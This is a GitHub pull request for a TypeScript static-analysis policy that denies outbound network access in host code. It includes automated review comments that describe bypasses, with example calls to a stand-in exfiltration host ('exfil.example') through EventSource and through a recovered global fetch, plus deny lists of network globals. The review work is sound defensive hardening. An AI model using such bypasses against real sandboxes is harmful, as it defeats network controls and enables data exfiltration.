D3 clean network policy — structural rebuild - #67
Conversation
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Team Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
PR67 CI — type-safe ambient namespace check
|
@codex review |
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 6f4c9cc501
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // --------------------------------------------------------------------------- | ||
|
|
||
| export const HTTP_MODULE_SPECIFIERS: ReadonlySet<string> = new Set(['node:http', 'http']); | ||
| export const NETWORK_GLOBAL_NAMES: ReadonlySet<string> = new Set(['fetch', 'WebSocket']); |
There was a problem hiding this comment.
On the supported Node 24 runtime, EventSource is another global outbound-network API, but this allowlist only recognizes fetch and WebSocket. Consequently, both new EventSource('https://exfil.example/') and new globalThis.EventSource(...) receive an ALLOW verdict, permitting outbound SSE connections despite the policy's stated network boundary; the existing Cockpit purity invariant also already classifies EventSource as network capability.
Useful? React with 👍 / 👎.
| if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']); | ||
| if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority)); |
There was a problem hiding this comment.
The allow-listed server and response methods are fluent: listen(), close(), setHeader(), and end() return this, but this classifier does not treat those call results as carrying the receiver's authority. For example, export const leaked = server.listen(4317, '127.0.0.1'); leaked.on('connection', ...) receives an ALLOW verdict even though leaked is the same mutable server, and response.setHeader(...).socket similarly bypasses the response member policy; either consuming these return values must be denied or their authority must propagate.
Useful? React with 👍 / 👎.
| checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => { | ||
| checkGlobalReceiverUse(ctx, parent); | ||
| }); | ||
| return; |
There was a problem hiding this comment.
When host code evaluates const g = globalThis.valueOf() as typeof globalThis, the inherited Object.prototype.valueOf() returns the same global object. This branch approves valueOf as a non-network static key and then stops tracking the call result, so a subsequent g.fetch('https://exfil.example/') receives an ALLOW verdict even though fetch itself is block-listed; calls that can recover the receiver must therefore be rejected or retain global-receiver authority.
Useful? React with 👍 / 👎.
Close PR #67 F2/F3: a direct allowed member call on a proven SERVER/REQUEST/RESPONSE target, or a call of a permitted static member of a proven global root, now yields a result that conservatively retains the receiver's authority through the existing fact model and policies. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q6Mog1KsMYfH2GAVMw9mbg
…rity PR67 F2/F3 — Preserve receiver-call authority
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: a0d8193357
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const classes = new Set(factsOf(ctx, symbol).map((fact) => fact.authority)); | ||
| if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes); | ||
| } | ||
| for (const call of ctx.calls) { |
There was a problem hiding this comment.
When a confined factory is invoked more than once, each returned server is accepted independently, so code can call make() twice and listen on two ports—including exposing the second listener on 0.0.0.0—while receiving an ALLOW verdict. This contradicts the policy’s stated guarantee that the host may create exactly one inbound HTTP server; classification needs an aggregate creation/listening constraint rather than validating each call in isolation.
Useful? React with 👍 / 👎.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: b9c423645b
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) { | ||
| return true; | ||
| } | ||
| if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined; |
There was a problem hiding this comment.
When a reserved global name is introduced by a named function expression, such as const f = function fetch() { return fetch; }, JavaScript creates a real runtime binding inside the function, but this predicate recognizes only FunctionDeclaration. Consequently the recursive fetch reference is passed to checkFreeGlobal and valid local code is rejected as FREE_GLOBAL_NETWORK; include FunctionExpression among runtime declarations.
Useful? React with 👍 / 👎.
| const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean => | ||
| !declaration.isTypeOnly && (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration)); |
There was a problem hiding this comment.
For a non-type-only entity alias such as import * as Local from './x.js'; import fetch = Local.f; fetch();, the repository's NodeNext compilation emits a local fetch binding, even though the alias is neither exported nor an external-module reference itself. This predicate returns false for that valid form, so the call is incorrectly classified as FREE_GLOBAL_NETWORK; private value aliases need to count as runtime shadows as well.
Useful? React with 👍 / 👎.
1 participant
Summary
Clean reimplementation of the D3 network policy from the exact PR #55 base (
5ae2b786ad6dc4653286d4c2b50e1fd705daa974). It replaces the accumulated PR #64 implementation rather than repairing it. PR #64 remains open as the differential oracle.Structure
Symbol -> {SERVER | REQUEST | RESPONSE} x {ROOT | ALIAS | PARAM}fact map.valueSymbolOf: shorthand value symbol, export-specifier local target, otherwise binder symbol).RESOLVED/NOT_CAPABILITY/INDETERMINATE, declaration-keyed memo, finite bounds).CONVERGED/EXHAUSTEDstates;EXHAUSTEDdenies.createServeroptions argument is denied (exactly one listener argument; parameters 0 and 1 are the only roots).Files
tests/cockpit-host/support/d3-network-policy.ts— detectortests/cockpit-host/support/d3-regression-matrix.ts— data-driven MUST_DENY / MUST_ALLOW rows across the frozen semantic categoriestests/cockpit-host/d3-network-policy.test.ts— mechanism tests and matrix runnertests/cockpit-host/purity.test.ts— minimal integration over the real host tree (PR Cockpit D3 — Read-only dashboard host (Stage A) #55 RC / HA / import / symlink / boundary logic unchanged)No production-source changes.
Validation
Independently validated by Codex before commit. Exact validated commit:
5ac18be70be10d40ca4610b3bc826e81335e0435.Retirement policy
PR #64 must not be closed until this replacement passes exact-head validation and the Commander authorizes retirement.
🤖 Generated with Claude Code
https://claude.ai/code/session_01JPfL76suEiud2qfmrgUURL